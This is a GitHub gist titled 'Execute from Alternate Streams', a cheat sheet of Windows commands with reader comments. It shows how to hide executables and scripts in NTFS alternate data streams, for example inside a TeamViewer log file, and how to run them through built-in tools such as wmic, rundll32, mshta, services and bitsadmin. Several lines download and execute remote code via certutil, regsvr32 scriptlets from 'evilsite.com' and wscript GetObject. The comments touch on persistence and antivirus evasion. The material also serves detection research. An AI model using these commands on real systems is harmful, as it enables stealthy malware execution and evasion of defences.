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api0cradle / Exe\_ADS\_Methods.md

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Execute from Alternate Streams

<> Exe\_ADS\_Methods.md

Raw

# Add content to ADS

```
type C:\temp\evil.exe > "C:\Program Files
```

```
(x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
```

```
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
```

```
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
```

```
certutil.exe -urlcache -split -f
```

```
https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
```

```
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
```

```
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
```

```
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
```

```
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
```

```
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
```

```
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
```

```
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
```

```
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
```

```
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scroobj.dll  
> fakefile.doc:reg32.bat
```

```
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe" -  
DownloadFile -url https://www.7-zip.org/a/7z1900.exe -path c:\\temp\\1.txt:7-zip.exe
```

```
msxsl.exe "https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-  
file/main/calc.xml" "https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-  
download-file/main/transform.xml" -o <filename>
```

## Extract content from ADS

---

```
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
```

```
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
```

```
PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d  
C:\Users\user\Desktop\new_folder
```

## Executing from ADS

---

### WMIC

---

```
wmic process call create '"C:\Program Files  
(x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
```

### Rundll32

---

```
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
```

```
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
```

```
rundll32.exe iadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
```

## Cscript

---

```
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
```

## Wscript

---

```
wscript c:\ads\file.txt:script.vbs
```

```
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
```

## Forfiles

---

```
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
```

## Mavinject.exe

---

```
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe           4172 31C5CE94259D4006          2      18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16
```

## MSHTA

---

`mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"` (Does not work on Windows 10 1903 and newer)

## Control.exe

---

```
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
```

<https://twitter.com/bohops/status/954466315913310209>

## Service

---

```
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\"" /c echo works > "\"c:\ADS\wor  
sc start evilservice
```

<https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/>

## Powershell.exe

---

```
powershell -ep bypass - < c:\temp:ttt
```

```
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content  
c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
```

```
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =  
C:\ads\folder:file.exe}
```

## Regedit.exe

---

```
regedit c:\ads\file.txt:regfile.reg
```

## Bitsadmin.exe

---

```
bitsadmin /create myfile  
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe  
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL  
bitsadmin /RESUME myfile
```

## AppVLP.exe

---

```
AppVLP.exe c:\windows\tracing\test.txt:ha.exe
```

## Cmd.exe

---

```
cmd.exe - < fakefile.doc:reg32.bat
```

[https://twitter.com/yeyint\\_mth/status/1143824979139579904](https://twitter.com/yeyint_mth/status/1143824979139579904)

## Ftp.exe

```
ftp -s:fakefile.txt:aaaa.txt https://github.com/sailay1996/misc-bin/blob/master/ads.md
```

## ieframe.dll , shdocvw.dll (ads)

```
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >>  
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
```

<https://github.com/sailay1996/misc-bin/blob/master/ads.md>

## bash.exe

```
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh  
bash.exe -c $(fakefile.txt:payload.sh)
```

<https://github.com/sailay1996/misc-bin/blob/master/ads.md>

## Regsvr32

```
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS  
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/
```

## Write registry

```
regini.exe file.txt:hidden.ini From @elisalem9
```



D4Vinci commented on Apr 12, 2018 • edited ▼



Great work man ,this helps a lot 😊



api0cradle commented on Apr 13, 2018

Author ...

Thanks. Good to hear.



api0cradle commented on Apr 16, 2018

Author ...

Hi. This is not persistence mechanisms. This is only ways of hiding programs withing ADS and ways of executing it. How to place your persistence is up to you. For instance a RUN key in registry could launch the WMIC command that execute data from an Alternate Data stream.



webs3c commented on Apr 27, 2018

...

"powershell Start-Process -FilePath xx.exe" can execute the file too~



jmaravi commented on Jun 17, 2018

...

Will AV detect the malicious payload?



curi0usJack commented on Jan 22, 2019

...

@jmaravi - yes.



zappermax commented on Aug 11, 2020

...

What about if you needed to delete an ADS? Not just empty it.



newaynewlife commented on Dec 15, 2020

...

@zappermax you can remove an ADS using the Remove-Item cmdlet  
<https://docs.microsoft.com/en-us/archive/blogs/askcore/alternate-data-streams-in-ntfs>



**adamick098** commented on Aug 11, 2021



good job my brother and Allah Almighty will help you



**MikronT** commented on Feb 15, 2022



That's incredible man

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